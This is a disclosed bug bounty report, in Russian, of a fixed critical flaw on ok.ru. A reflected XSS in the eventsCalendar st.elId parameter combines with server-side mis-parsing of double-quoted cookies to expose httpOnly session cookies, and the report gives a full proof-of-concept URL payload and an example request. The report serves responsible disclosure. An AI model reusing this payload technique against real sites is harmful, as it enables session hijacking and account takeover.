[ok.ru] XSS + кража httpOnly cookie
Summary by the hacker
Уязвимости обнаружены в коллаборации с bratka
Описание
В эксплуатации используются 2 уязвимости:
- XSS на ok.ru
- Неправильный парсинг двойных кавычек в веб-сервере
Уязвимость 1
Сценарий
/dk?st.cmd=eventsCalendar
некорректно обрабатывает параметр st.elId
, что позволяет выполнить произвольный JS код в контексте сайта ok.ru
Пример
Авторизуемся в приложении, открываем ссылку
Авторизуемся в приложении, открываем ссылку
https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-alert(document.domain)-%27
Фрагмент http ответа
require(['OK/AddHolidayPopup'], function(p){p.setState(''-alert(document.domain)-'', 'not-added');});
Уязвимость 2
Веб-сервер некорректно обрабатывает двойные кавычки в cookie.
Например, следующее значение
Cookie: param1="value1; secret=value; param2=value2";
Для браузера будет восприниматься как 3 cookie значения:
param1
, secret
, param2
. Причем secret
может быть в том числе и httpOnly.Но для веб-сервера
ok.ru
это будет одно длинное значение param1
. Таким образом, любой вывод cookie значений на страницу может быть использован для извлечения значений httpOnly cookie. Единственное препятствие - наличие дополнительных cookie, в которых тоже используются двойные кавычки (например, cookie vdt).Пример
GET /dk?st.cmd=anonymMain HTTP/2 Host: ok.ru Cookie: _statid="BEGIN; SECRET=VALUE; ZEND=END"
PoC
Логика эксплуатации
- Создаем cookie
_statid="BEGIN;path=/dk;
которая за счет path будет идти в запросе первой - Создаем cookie
ZEND=END";
которая будет добавлена в конце заголовка Cookie - Извлекаем значение запросив страницу
/dk?st.cmd=anonymMain
https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-(document.cookie='vdt=;path=/dk;',document.cookie='cookieChoice=;domain=.ok.ru;',document.cookie='_statid="BEGIN;path=/dk;',document.cookie='ZEND=END";',fetch('/dk?st.cmd=anonymMain').then(r=>r.text()).then(r=>alert(r.match(/data-search-params-to-send=".*?"/))))-%27
Успех эксплоита зависит от того, находится ли cookie
Если
vdt
в середине заголовка Cookie или в конце.Если
vdt
идет после JSESSIONID
или AUTH_TOKEN
- то эксплоит успешно их извлекает.Мне удавалось успешно авторизовываться в приложении и извлекать httpOnly идентификаторы сессии без каких-либо дополнительных взаимодействий с cookie.
Reward
₽180,000
Odnoklassniki
VK
Report No.: 3915
Created: December 28, 2023, 09:18
Disclosed: July 16, 13:30
Status: Fixed
Type: Vulnerability
Severity:
Critical
Author:BlackFan
Files
Screenshot at 13-10-32.png
Screenshot at 12-56-45.png
Comments
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
wellenc_lex_vk
December 29, 2023
By
p.uvarov
July 16, 12:53
By
p.uvarov
July 16, 12:54